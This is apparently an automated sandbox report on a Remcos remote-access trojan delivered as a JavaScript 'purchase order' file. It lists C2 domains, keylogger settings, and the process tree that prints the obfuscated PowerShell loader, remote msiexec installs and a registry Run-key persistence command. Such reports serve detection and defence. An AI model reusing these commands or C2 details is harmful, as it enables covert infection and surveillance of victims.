Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    07/05/2026, 12:17

General

  • Target
    Orden_de_Compra_2026-07-04.js
  • Size 110KB
  • Sample260507-pgd95sdv7s
  • SHA256 5deb85e0d89bf551bce88ebfd68f4566a188f8bce883a90d12501c5268a9b3d0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.2.4 Pro

Botnet
  • Ojiigbo_

C2
  • jahour7lamo1.duckdns.org:56090

  • jahour7lamo2.duckdns.org:56090

  • jahour7lamo3.duckdns.org:56090

  • jahour7lamo4.duckdns.org:56090

  • yam.janou8kaburo1.com:56090

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    mprtys.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    lmprtkld-KPJFU6

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 5 IoCs

    Network activity triggered a Suricata alert

  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 7 IoCs

    Network activity triggered a Suricata alert

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Use of msiexec (install) with remote resource 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Orden_de_Compra_2026-07-04.js
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" "C:\Users\Admin\AppData\Local\Temp\Incessanc.lnk"
      2⤵
        PID:4112
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c START "Clot" /min powershell -Command "$Nonsu101=($HOME+'/app'+'data/roaming/Scleriz201');$apron=gc $Nonsu101;$Brightens=$apron[3477]+$apron[3478]+$apron[3479]; .($Brightens) $apron" && exit
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4932
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$Nonsu101=($HOME+'/app'+'data/roaming/Scleriz201');$apron=gc $Nonsu101;$Brightens=$apron[3477]+$apron[3478]+$apron[3479]; .($Brightens) $apron"
          3⤵
          • Badlisted process makes network request
          • Drops file in System32 directory
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5168
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Nonsu101=($HOME+'/app'+'data/roaming/Scleriz201');$apron=gc $Nonsu101;$Brightens=$apron[3477]+$apron[3478]+$apron[3479]; .($Brightens) $apron"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2488
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\WINDOWS\syswow64\msiexec.exe" /i https://Mezzo/Vane.msi
        2⤵
        • Use of msiexec (install) with remote resource
        • Event Triggered Execution: Installer Packages
        PID:1280
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\WINDOWS\syswow64\msiexec.exe" /i https://Mezzo/Vane.msi
        2⤵
        • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
        • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
        • Badlisted process makes network request
        • Use of msiexec (install) with remote resource
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Event Triggered Execution: Installer Packages
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2888
        • C:\Windows\SysWOW64\msiexec.exe
          "C:\WINDOWS\syswow64\msiexec.exe" /i https://Mezzo/Vane.msi
          3⤵
          • Use of msiexec (install) with remote resource
          • Event Triggered Execution: Installer Packages
          PID:5228
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Raacrem" /t REG_EXPAND_SZ /d "%Lividnessi% -windowstyle 2 $Pant=(.'gp' 'HKCU:\Software\Lnpotsy\').'Progr255';%Lividnessi% ($Pant)"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1124
          • C:\Windows\SysWOW64\reg.exe
            REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Raacrem" /t REG_EXPAND_SZ /d "%Lividnessi% -windowstyle 2 $Pant=(.'gp' 'HKCU:\Software\Lnpotsy\').'Progr255';%Lividnessi% ($Pant)"
            4⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            PID:5956

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 e1d104dc39351a13e07f71543ff791999e42713b7ffdf67c16273dff17be2c48
          • MD5 SHA1 SHA512 TLSH

          Incessanc.lnk

          • Path C:\Users\Admin\AppData\Local\Temp\Incessanc.lnk
          • Size 1KB
          • SHA256 56a90b7de9f960c5a451270fdab3a77bf22e0c4b0f32970789756c47edb24f3b
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_tvf0mlan.opm.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvf0mlan.opm.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          Barmandenb.raa

          • Path C:\Users\Admin\AppData\Roaming\Barmandenb.raa
          • Size 374KB
          • SHA256 bb8df531344c0126d6235dc24ce270c6ec42310d75b66fc84bb3050f6fb8c779
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Scleriz201

          • Path C:\Users\Admin\appdata\roaming\Scleriz201
          • Size 3KB
          • SHA256 d53c87247899665bf1d19ff514545d124ce50a07d37b7709b7277b646e19c637
          • MD5 SHA1 SHA512 TLSH

          memory/2488-77-0x0000000007520000-0x000000000752E000-memory.dmp

          memory/2488-45-0x0000000005220000-0x000000000584A000-memory.dmp

          memory/2488-74-0x0000000007270000-0x0000000007314000-memory.dmp

          memory/2488-64-0x0000000007200000-0x0000000007234000-memory.dmp

          memory/2488-73-0x0000000007240000-0x000000000725E000-memory.dmp

          memory/2488-66-0x0000000071370000-0x00000000716C7000-memory.dmp

          memory/2488-65-0x00000000711F0000-0x000000007123C000-memory.dmp

          memory/2488-63-0x0000000008250000-0x00000000088CA000-memory.dmp

          memory/2488-59-0x0000000006F90000-0x0000000007026000-memory.dmp

          memory/2488-82-0x00000000088D0000-0x000000000B6D2000-memory.dmp

          memory/2488-62-0x0000000007620000-0x0000000007BC6000-memory.dmp

          memory/2488-80-0x0000000007560000-0x0000000007568000-memory.dmp

          memory/2488-60-0x00000000062F0000-0x000000000630A000-memory.dmp

          memory/2488-79-0x0000000007570000-0x000000000758A000-memory.dmp

          memory/2488-78-0x0000000007530000-0x0000000007545000-memory.dmp

          memory/2488-61-0x0000000006340000-0x0000000006362000-memory.dmp

          memory/2488-44-0x0000000002590000-0x00000000025C6000-memory.dmp

          memory/2488-75-0x0000000007370000-0x000000000737A000-memory.dmp

          memory/2488-46-0x0000000004F20000-0x0000000004F42000-memory.dmp

          memory/2488-47-0x00000000050C0000-0x0000000005126000-memory.dmp

          memory/2488-48-0x0000000005130000-0x0000000005196000-memory.dmp

          memory/2488-55-0x0000000005890000-0x0000000005BE7000-memory.dmp

          memory/2488-58-0x0000000005DF0000-0x0000000005E3C000-memory.dmp

          memory/2488-57-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

          memory/2488-76-0x0000000007500000-0x0000000007511000-memory.dmp

          memory/2488-85-0x0000000002670000-0x0000000002676000-memory.dmp

          memory/2888-92-0x0000000000A00000-0x0000000001D17000-memory.dmp

          memory/2888-109-0x0000000000A00000-0x0000000001D17000-memory.dmp

          memory/2888-114-0x000000001DC60000-0x000000001DC66000-memory.dmp

          memory/2888-115-0x000000001E6B0000-0x000000001E7A7000-memory.dmp

          memory/2888-118-0x000000001E6B0000-0x000000001E7A7000-memory.dmp

          memory/2888-119-0x000000001E6B0000-0x000000001E7A7000-memory.dmp

          memory/3828-6-0x000001C9F46B0000-0x000001C9F46E1000-memory.dmp

          memory/3828-7-0x000001C9F4740000-0x000001C9F474C000-memory.dmp

          memory/4112-9-0x0000000000980000-0x00000000009B1000-memory.dmp

          memory/4884-38-0x0000000002C20000-0x0000000002C2C000-memory.dmp

          memory/4884-37-0x0000000000BA0000-0x0000000000BD1000-memory.dmp

          memory/4884-102-0x0000000002C20000-0x0000000002C2C000-memory.dmp

          memory/4884-101-0x0000000000BA0000-0x0000000000BD1000-memory.dmp

          memory/5168-31-0x000001E871820000-0x000001E87183A000-memory.dmp

          memory/5168-43-0x000001E870B60000-0x000001E870B72000-memory.dmp

          memory/5168-34-0x000001E871810000-0x000001E87181A000-memory.dmp

          memory/5168-33-0x000001E871800000-0x000001E871806000-memory.dmp

          memory/5168-32-0x000001E8717D0000-0x000001E8717D8000-memory.dmp

          memory/5168-12-0x000001E871080000-0x000001E8710A2000-memory.dmp

          memory/5168-42-0x000001E870A50000-0x000001E870A5C000-memory.dmp

          memory/5168-41-0x000001E86F170000-0x000001E86F1A1000-memory.dmp

          memory/5168-30-0x000001E8717C0000-0x000001E8717CA000-memory.dmp

          memory/5168-29-0x000001E8717E0000-0x000001E8717FC000-memory.dmp

          memory/5168-28-0x000001E871660000-0x000001E87166A000-memory.dmp

          memory/5168-27-0x000001E8715A0000-0x000001E871653000-memory.dmp

          memory/5168-26-0x000001E871580000-0x000001E87159C000-memory.dmp